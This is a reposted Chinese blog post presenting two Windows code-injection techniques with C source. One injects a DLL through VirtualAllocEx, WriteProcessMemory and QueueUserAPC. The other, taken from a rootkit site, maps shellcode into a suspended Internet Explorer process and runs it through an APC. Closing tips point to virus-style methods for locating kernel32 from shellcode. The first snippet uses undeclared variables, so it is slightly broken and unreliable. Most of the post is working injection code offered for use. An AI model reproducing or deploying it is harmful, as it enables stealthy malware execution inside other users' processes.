Code Inject的新技术

最新推荐文章于 2024-10-13 19:16:59 发布

转载最新推荐文章于 2024-10-13 19:16:59 发布 · 924 阅读

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#null #integer #attributes #file #winapi #thread

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本文介绍了两种DLL注入方法，一种是一年前发现的方法，利用VirtualAllocEx和WriteProcessMemory分配内存并写入DLL路径，通过QueueUserAPC调用LoadLibrary加载DLL；另一种来自Rootkit，使用自定义的MyMapViewOfFileEx函数映射文件到进程地址空间，并通过QueueUserAPC安排执行映射的shellcode。

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inject的一般方法是:CreateRemoteThread;今天在Rootkit上看到一个新的方法,让我想起1年前我看到过的类似方法,大家一起看看这种方法吧：
1) 1年前我所看到的方法
    DWORD dwResult;
    HANDLE hThread;
    HANDLE hProcess;
    char   szDllName[] = "c://MyDll.dll";
    int    nLen = strlen(szDllName) + 1;
    PVOID pData= VirtualAllocEx(hProcess,
                                 NULL,
                                 nLen,
                                 MEM_COMMIT | MEM_TOP_DOWN,
                                 PAGE_READWRITE);
    if (param != NULL)
    {
        if (WriteProcessMemory(hProcess,
                               pData,
                               (LPVOID)szDllName,
                               len,
                               &ret))
        {
            for (DWORD p = 0; p < NumberOfThreads; p++) //寻找适当的线程
            {
                hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
                if (hThread != 0)
                {
                    InjectDll(hProcess, hThread, (DWORD)pData);
                    CloseHandle(hThread);
                }
            }
    }

    void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)
    {
        QueueUserAPC( (PAPCFUNC)GetProcAddress(GetModuleHandle
                      ("kernel32.dll"), "LoadLibraryA"),
                      hThread,
                      (DWORD)param )

    }

2) Rootkit上的方法,下面代码转自 http://www.rootkit.com/newsread.php?newsid=715

#define _WIN32_WINNT 0x0400
#include <windows.h>

typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*,
                SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;

LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh,
        DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;

// Convert the offset
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;

// Save the size and base
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;

// Convert flags to NT Protection Attributes
if (dwDesiredAccess & FILE_MAP_WRITE)
{
  Protect  = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
  Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
  Protect = PAGE_WRITECOPY;
}
else
{
  Protect = PAGE_NOACCESS;
}

// Map the section
Status = NtMapViewOfSection(hFileMappingObject,
        hProcess,
        &ViewBase,
        0,
        0,
        &SectionOffset,
        &ViewSize,
        ViewShare,
        0,
        Protect);
if (!NT_SUCCESS(Status))
{
  // We failed
  return NULL;
}

// Return the base
    return ViewBase;
}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( "ntdll.dll" );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection");

// Getting a shellcode, use whatever you want
HANDLE hFile = CreateFile ("C://shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// Starting target process
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));

CreateProcess ("C://Programme//Internet Explorer//iexplore.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);

// Injecting the shellcode into target process address space
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// Create a new APC which will be executed at first when the thread resume
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);

ResumeThread (pi.hThread);

CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}

总结：
1 巧妙的应用了QueueUserAPC和Apc Queue,上述LoadLibrary动作和MappedFile的shellcode在目标线程被调度为运行状态的时候执行.

2 还记得APC Queue吗？
线程被重新调度为运行状态的时候会检查当前的Apc Queue,只有Queue中所有的Routine被执行完毕后,才执行线程原来被中断(入口)的代码.

3 第二个例子要自己写shellcode,关于如何定位函数,参见PE病毒写法,不要从栈地址找Kenel32的地址了,从TEB中的SEH地址找,默认(最外层)的处理Routine在Kenel32.dll中......